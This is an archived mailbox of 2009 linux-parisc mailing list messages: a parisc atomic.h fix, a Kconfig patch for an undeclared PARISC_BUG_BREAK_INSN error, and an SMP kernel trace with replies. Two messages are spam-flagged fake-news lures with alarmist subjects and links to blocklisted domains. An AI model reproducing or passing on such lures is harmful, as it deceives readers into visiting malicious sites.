Xref: news.gmane.org gmane.linux.ports.parisc:1416 gmane.linux.network:123132 gmane.linux.kernel:810569
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1416>

On Sun, Mar 22, 2009 at 03:58:40AM +0000, James Bottomley wrote:
> > > I think that platform's atomic_add() implementation should
> > > be fixed instead.
> > 
> > It is parisc, CC added.
> 
> Looks like a macro argument screw up in atomic.h
> 
> This should fix it (uncompiled, of course).
> 

Looks correct to me. Applied. Thanks everyone.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sammy" <bigall@pokercs.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: At least 18 killed in your city
Date: Sun, 22 Mar 2009 23:17:53 -0600
Lines: 7
Approved: news@gmane.org
Message-ID: <20090322231753.4000903@pokercs.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1237783728 24168 80.91.229.12 (23 Mar 2009 04:48:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 23 Mar 2009 04:48:48 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 23 05:50:05 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Llc6u-0003Jn-QD
	for glpp-linux-parisc@gmane.org; Mon, 23 Mar 2009 05:50:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751630AbZCWEsk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 23 Mar 2009 00:48:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751692AbZCWEsk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 23 Mar 2009 00:48:40 -0400
Original-Received: from c-66-41-199-72.hsd1.mn.comcast.net ([66.41.199.72]:1943 "HELO
	c-66-41-199-72.hsd1.mn.comcast.net" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1751613AbZCWEsj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 23 Mar 2009 00:48:39 -0400
Original-Received: from zwlrzw ([42.109.65.194]) by c-66-41-199-72.hsd1.mn.comcast.net with Microsoft SMTPSVC(5.0.2195.6713); Sun, 22 Mar 2009 23:17:53 -0600
User-Agent: Thunderbird 2.0.0.9 (Windows/20071031)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 11.4 points;
 *  3.0 RAZOR2_CF_RANGE_51_100 BODY: Razor2 gives confidence level above 50%
 *      [cf: 100]
 *  1.0 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
 *  0.8 URIBL_PH_SURBL Contains an URL listed in the PH SURBL blocklist
 *      [URIs: tntbreakingnews.com]
 *  0.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist
 *      [URIs: tntbreakingnews.com]
 *  2.0 URIBL_OB_SURBL Contains an URL listed in the OB SURBL blocklist
 *      [URIs: tntbreakingnews.com]
 *  4.0 URIBL_SC_SURBL Contains an URL listed in the SC SURBL blocklist
 *      [URIs: tntbreakingnews.com]
Xref: news.gmane.org gmane.linux.ports.parisc:1417 gmane.spam.detected:4356381
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1417>

What a tragedy! http://xb.tntbreakingnews.com

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Lesley" <ongart.n@fritzind.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Is it truth?
Date: Tue, 24 Mar 2009 11:59:24 +0000 (UTC)
Lines: 7
Approved: news@gmane.org
Message-ID: <20091201175428.2000405@fritzind.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1237895964 19704 80.91.229.12 (24 Mar 2009 11:59:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Mar 2009 11:59:24 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 24 13:00:39 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lm5Is-00043Y-72
	for glpp-linux-parisc@gmane.org; Tue, 24 Mar 2009 13:00:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754209AbZCXL66 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 Mar 2009 07:58:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754473AbZCXL66
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 24 Mar 2009 07:58:58 -0400
Original-Received: from 85-250-207-24.bb.netvision.net.il ([85.250.207.24]:4819 "HELO
	85-250-207-24.bb.netvision.net.il" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1754209AbZCXL65 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 Mar 2009 07:58:57 -0400
Original-Received: from zdaiq ([103.63.68.108]) by 85-250-207-24.bb.netvision.net.il with Microsoft SMTPSVC(5.0.2195.5329); Tue, 1 Dec 2009 17:54:28 +0200
Original-Date: Tue, 1 Dec 2009 17:54:28 +0200
User-Agent: Thunderbird 2.0.0.9 (Windows/20071031)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 13.0 points;
 *  2.0 DATE_IN_FUTURE_96_XX Date: is 96 hours or more after Received: date
 *  3.0 RAZOR2_CF_RANGE_51_100 BODY: Razor2 gives confidence level above 50%
 *      [cf: 100]
 * -2.6 BAYES_00 BODY: Bayesian spam probability is 0 to 1%
 *      [score: 0.0000]
 *  1.0 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
 *  3.0 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?85.250.207.24>]
 *  2.0 URIBL_PH_SURBL Contains an URL listed in the PH SURBL blocklist
 *      [URIs: themostrateblog.com]
 *  1.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist
 *      [URIs: themostrateblog.com]
 *  3.2 URIBL_OB_SURBL Contains an URL listed in the OB SURBL blocklist
 *      [URIs: themostrateblog.com]
Xref: news.gmane.org gmane.linux.ports.parisc:1418 gmane.spam.detected:4356750
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1418>

It's awful!! http://dlh.themostrateblog.com

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: kernel/traps.c PARISC_BUG_BREAK_INSN undeclared
Date: Wed, 25 Mar 2009 17:02:21 +0300
Lines: 13
Approved: news@gmane.org
Message-ID: <a4423d670903250702k2e5d803jb2caf9f9752f1e0a@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1237989803 12463 80.91.229.12 (25 Mar 2009 14:03:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Mar 2009 14:03:23 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 25 15:04:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LmTiS-0003u0-EA
	for glpp-linux-parisc@gmane.org; Wed, 25 Mar 2009 15:04:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761752AbZCYOC3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 25 Mar 2009 10:02:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761179AbZCYOC3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 25 Mar 2009 10:02:29 -0400
Original-Received: from mail-ew0-f165.google.com ([209.85.219.165]:37267 "EHLO
	mail-ew0-f165.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752829AbZCYOC2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 25 Mar 2009 10:02:28 -0400
Original-Received: by ewy9 with SMTP id 9so48230ewy.37
        for <linux-parisc@vger.kernel.org>; Wed, 25 Mar 2009 07:02:24 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:date:message-id:subject
         :from:to:content-type:content-transfer-encoding;
        bh=WlwjqhTL+GbTgJCNvJv0Oba+hZ8PKyfErhs4vuAp31g=;
        b=q32yH7Af96vWwZby5JFbp6ZWrtsABUCNu4pvXtkUbzHr32uZ7UEsS9zzntL/md41TV
         EA1592w5YrHtespltaC9vUzD+Nkegph7Y+PwyGxBMcw4aMYV6w0/3sqSDf1+FqXndimf
         OpsE+vydy9T6d1Rl/0Wj0X9HiSy76NtEh4OPw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:date:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        b=FOIHb80xbU+xgMbaBev5AO5slEbEEA9i/QXVbSejZ36+Riq+IrJ1M+vgsKhqI79Ay0
         LQ6XDYXQuHHRW7WjMnKDMab4zCGeJEIgXFySO4WuY2YH4TsbFLmvMEyGQjlq1I3Py4jk
         eTE3NrC20aJPhWePXMc7StmBOL5IjwWM6MpbA=
Original-Received: by 10.210.69.6 with SMTP id r6mr4143339eba.82.1237989741594; Wed, 25 
	Mar 2009 07:02:21 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1419
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1419>

arch/parisc/kernel/traps.c: In function 'handle_break':
arch/parisc/kernel/traps.c:321: error: 'PARISC_BUG_BREAK_INSN'
undeclared (first use in this function)

# CONFIG_BUG is not set
CONFIG_EMBEDDED=y

Is it a reasonable config?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel/traps.c PARISC_BUG_BREAK_INSN undeclared
Date: Wed, 25 Mar 2009 10:09:10 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <20090325140909.GF19208@bombadil.infradead.org>
References: <a4423d670903250702k2e5d803jb2caf9f9752f1e0a@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1237990195 13941 80.91.229.12 (25 Mar 2009 14:09:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Mar 2009 14:09:55 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 25 15:11:13 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LmTou-0006vz-0Y
	for glpp-linux-parisc@gmane.org; Wed, 25 Mar 2009 15:11:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753824AbZCYOJN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 25 Mar 2009 10:09:13 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756739AbZCYOJN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 25 Mar 2009 10:09:13 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:39718 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753824AbZCYOJM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 25 Mar 2009 10:09:12 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LmTn4-00067b-2U; Wed, 25 Mar 2009 14:09:10 +0000
Content-Disposition: inline
In-Reply-To: <a4423d670903250702k2e5d803jb2caf9f9752f1e0a@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1420
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1420>

On Wed, Mar 25, 2009 at 05:02:21PM +0300, Alexander Beregalov wrote:
> arch/parisc/kernel/traps.c: In function 'handle_break':
> arch/parisc/kernel/traps.c:321: error: 'PARISC_BUG_BREAK_INSN'
> undeclared (first use in this function)
> 
> # CONFIG_BUG is not set
> CONFIG_EMBEDDED=y
> 
> Is it a reasonable config?

imho, no.

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index aacf11d..efac22a 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -12,6 +12,7 @@ config PARISC
 	select RTC_CLASS
 	select RTC_DRV_PARISC
 	select INIT_ALL_POSSIBLE
+	select BUG
 	help
 	  The PA-RISC microprocessor is designed by Hewlett-Packard and used
 	  in many of their workstations & servers (HP9000 700 and 800 series,
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:03:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.29-rc8: Badness at kernel/smp.c:329
Date: Mon, 30 Mar 2009 13:39:55 +0400
Lines: 98
Approved: news@gmane.org
Message-ID: <a4423d670903300239j1f863aedkece7cf4c8e9bea93@mail.gmail.com>
References: <a4423d670903181027r5370c246x9aed7055403c1c28@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1238406014 9367 80.91.229.12 (30 Mar 2009 09:40:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 Mar 2009 09:40:14 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 30 11:41:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LoDzg-0004wJ-9U
	for glpp-linux-parisc@gmane.org; Mon, 30 Mar 2009 11:41:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754087AbZC3Jj7 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 30 Mar 2009 05:39:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754899AbZC3Jj7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 30 Mar 2009 05:39:59 -0400
Original-Received: from mail-ew0-f165.google.com ([209.85.219.165]:58427 "EHLO
	mail-ew0-f165.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754087AbZC3Jj6 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 30 Mar 2009 05:39:58 -0400
Original-Received: by ewy9 with SMTP id 9so1965800ewy.37
        for <linux-parisc@vger.kernel.org>; Mon, 30 Mar 2009 02:39:55 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        bh=ukI8qq8YzZEy/lHazEzWb/97pOOFxD9l+RGSlJLTjPA=;
        b=kQhZigh+yvLDrByY2HgPtYDQqGSocpWCKege0YknimE2qRGwGw26UV7Z4k+qBvXNG0
         VEm2i1I5CR1I8+zv9A9b1ckiESle/G97HzGhk6fj4hNAbPhSEIGEGraOCg/qYEWBRayx
         c3emF+skGKyFuzvUybOfYPbBr5I18mbaib67E=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :content-type:content-transfer-encoding;
        b=KnIAuUvFAUWjOhcLkRMIj8/31it3o56mw1gcGwi9lDXn2oNJcMywlFxE/yvbjmXLzN
         ZBsVs370/1AcCLsgGPonRuPSznxwZbxob64cwH4ui7tbvO0IJ7GnHZ1ZzKJ2AxkLe4HL
         8OwVx22Kowm881gMZM8/gVVBZf/IBER6lcm4E=
Original-Received: by 10.210.105.8 with SMTP id d8mr3948430ebc.84.1238405995387; Mon, 
	30 Mar 2009 02:39:55 -0700 (PDT)
In-Reply-To: <a4423d670903181027r5370c246x9aed7055403c1c28@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1422
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1422>

2009/3/18 Alexander Beregalov <a.beregalov@gmail.com>:
> Hi
>
> Ok, I have finally built the kernel, thanks to all.
> Machine has two PA8700 CPUs.
> kernel is 32bit
>
> 2.6.29-rc8-00174-gee568b2:
>
> =C2=A0Freeing unused kernel memory: <0>------------[ cut here ]------=
------
> =C2=A0Badness at kernel/smp.c:329
>
> =C2=A0 =C2=A0 =C2=A0YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> =C2=A0PSW: 00000000000001001111011100001110 Not tainted
> =C2=A0r00-03 =C2=A00004f70e 1058be90 101644f4 10547e90
> =C2=A0r04-07 =C2=A0101004d8 00000000 104eb0e8 101004d8
> =C2=A0r08-11 =C2=A000000000 00000001 10507548 105c3180
> =C2=A0r12-15 =C2=A0ef821430 00000001 ef844090 1053e840
> =C2=A0r16-19 =C2=A0104eae98 105c3180 10541bc0 105c4000
> =C2=A0r20-23 =C2=A000000000 105c4000 00000000 00000001
> =C2=A0r24-27 =C2=A000000000 101004d8 104eb0e8 104eae90
> =C2=A0r28-31 =C2=A00000000e 00000000 ef8242c0 00800480
> =C2=A0sr00-03 =C2=A000000000 00000000 00000000 00000000
> =C2=A0sr04-07 =C2=A000000000 00000000 00000000 00000000
>
> =C2=A0IASQ: 00000000 00000000 IAOQ: 101644c0 101644c4
> =C2=A0IIR: 03ffe01f =C2=A0 =C2=A0ISR: 1024037e =C2=A0IOR: 09024260
> =C2=A0CPU: =C2=A0 =C2=A0 =C2=A0 =C2=A00 =C2=A0 CR30: ef824000 CR31: 4=
0002008
> =C2=A0ORIG_R28: 00000001
> =C2=A0IAOQ[0]: smp_call_function_many+0x2d4/0x2e0
> =C2=A0IAOQ[1]: smp_call_function_many+0x2d8/0x2e0
> =C2=A0RP(r2): smp_call_function+0x28/0x38
> =C2=A0Backtrace:
> =C2=A0[<101644f4>] smp_call_function+0x28/0x38
> =C2=A0[<105a4e90>] _einittext+0x0/0x10
> =C2=A0[<101644f4>] smp_call_function+0x28/0x38
> =C2=A0[<10142968>] on_each_cpu+0x1c/0x50
> =C2=A0[<10116e64>] free_initmem+0x60/0x1d0
> =C2=A0[<10116624>] init_post+0x1c/0x198
>
> =C2=A0------------[ cut here ]------------
> =C2=A0Badness at kernel/smp.c:226
>
> =C2=A0 =C2=A0 =C2=A0YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> =C2=A0PSW: 00000000000001001111111100001110 Tainted: G =C2=A0 =C2=A0 =
=C2=A0 =C2=A0W
> =C2=A0r00-03 =C2=A00004ff0e 10507e90 101644f4 00000001
> =C2=A0r04-07 =C2=A000000000 101004d8 00000000 105c4000
> =C2=A0r08-11 =C2=A0105a4ea0 105a4e90 10507548 105c3180
> =C2=A0r12-15 =C2=A0ef821430 00000001 ef844090 1053e840
> =C2=A0r16-19 =C2=A0104eae98 105c3180 10541bc0 0000000e
> =C2=A0r20-23 =C2=A000000002 104eb0e8 0000001e 00000001
> =C2=A0r24-27 =C2=A000000000 101004d8 00000001 104eae90
> =C2=A0r28-31 =C2=A0ef824000 00000000 ef8242c0 00000001
> =C2=A0sr00-03 =C2=A000000000 00000000 00000000 00000000
> =C2=A0sr04-07 =C2=A000000000 00000000 00000000 00000000
>
> =C2=A0IASQ: 00000000 00000000 IAOQ: 10164138 1016413c
> =C2=A0IIR: 03ffe01f =C2=A0 =C2=A0ISR: 1024037e =C2=A0IOR: 09024264
> =C2=A0CPU: =C2=A0 =C2=A0 =C2=A0 =C2=A00 =C2=A0 CR30: ef824000 CR31: 4=
0002008
> =C2=A0ORIG_R28: 00000001
> =C2=A0IAOQ[0]: smp_call_function_single+0xa0/0x154
> =C2=A0IAOQ[1]: smp_call_function_single+0xa4/0x154
> =C2=A0RP(r2): smp_call_function+0x28/0x38
> =C2=A0Backtrace:
> =C2=A0[<101644f4>] smp_call_function+0x28/0x38
> =C2=A0[<1016a6e0>] __irq_set_trigger+0xa4/0xdc
> =C2=A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> =C2=A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> =C2=A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> =C2=A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> =C2=A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> =C2=A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> =C2=A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> =C2=A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> =C2=A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> =C2=A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> =C2=A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> =C2=A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> =C2=A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> =C2=A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
>
> =C2=A0224k freed
>
>
> Kernel continues working after that.
>

Could you please comment?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.29-rc8: Badness at kernel/smp.c:329
Date: Mon, 30 Mar 2009 07:46:15 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <119aab440903300446m2af3f03fi151cfcc885946ffe@mail.gmail.com>
References: <a4423d670903181027r5370c246x9aed7055403c1c28@mail.gmail.com>
	 <a4423d670903300239j1f863aedkece7cf4c8e9bea93@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1238413587 1845 80.91.229.12 (30 Mar 2009 11:46:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 Mar 2009 11:46:27 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@infradead.org>
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 30 13:47:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LoFxw-0003D3-8j
	for glpp-linux-parisc@gmane.org; Mon, 30 Mar 2009 13:47:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750922AbZC3LqT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 30 Mar 2009 07:46:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750927AbZC3LqT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 30 Mar 2009 07:46:19 -0400
Original-Received: from mail-ew0-f165.google.com ([209.85.219.165]:47639 "EHLO
	mail-ew0-f165.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750922AbZC3LqS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 30 Mar 2009 07:46:18 -0400
Original-Received: by ewy9 with SMTP id 9so2014649ewy.37
        for <linux-parisc@vger.kernel.org>; Mon, 30 Mar 2009 04:46:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=R9yvp+N2Z0rSxZ/vrxRnor3o0N9zZ+kn0SCTRaFMpJw=;
        b=CQL7x07i+w1f8xoq9+gr0+Jt3cbNqxX4yIni+Tpuy/V1/8slVw1rlk/seySHNiyjeu
         Y23w0mQqRoGw5Omp8f1dZD6dnnhOMb0JWZ4LMI30w3sWmPZ9ecEyeY1zNGqrB0TTAkV1
         tnDl/HbtOG6DpcjtLIFrvdyYEY7bkL532O92w=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=R8y9VGxN5VYgCGq58F1PRchce+XRRX1r/21C0IVosK+tQKX7yCnUuLTY9qxlMfmRRI
         SurxkZoXYocEiExKd/+3vNN6IH77W+cUMe86yCceOe8AKQMShGXbfGcj5tgfMYT/oIxR
         0D52BhIp0YaPwt8X68EaIY9DkBUi9DAqm5fsw=
Original-Received: by 10.216.30.195 with SMTP id k45mr1582032wea.197.1238413575027; 
	Mon, 30 Mar 2009 04:46:15 -0700 (PDT)
In-Reply-To: <a4423d670903300239j1f863aedkece7cf4c8e9bea93@mail.gmail.com>
X-Google-Sender-Auth: a1699d4f49fa3f83
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1423
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1423>

On Mon, Mar 30, 2009 at 5:39 AM, Alexander Beregalov
<a.beregalov@gmail.com> wrote:
>> Kernel continues working after that.
>>
>
> Could you please comment?

AFAIK this is a known issue with the parisc linux kernel startup, but
I might not have been paying attention when Kyle explained the issue.

Kyle?

Cheers,
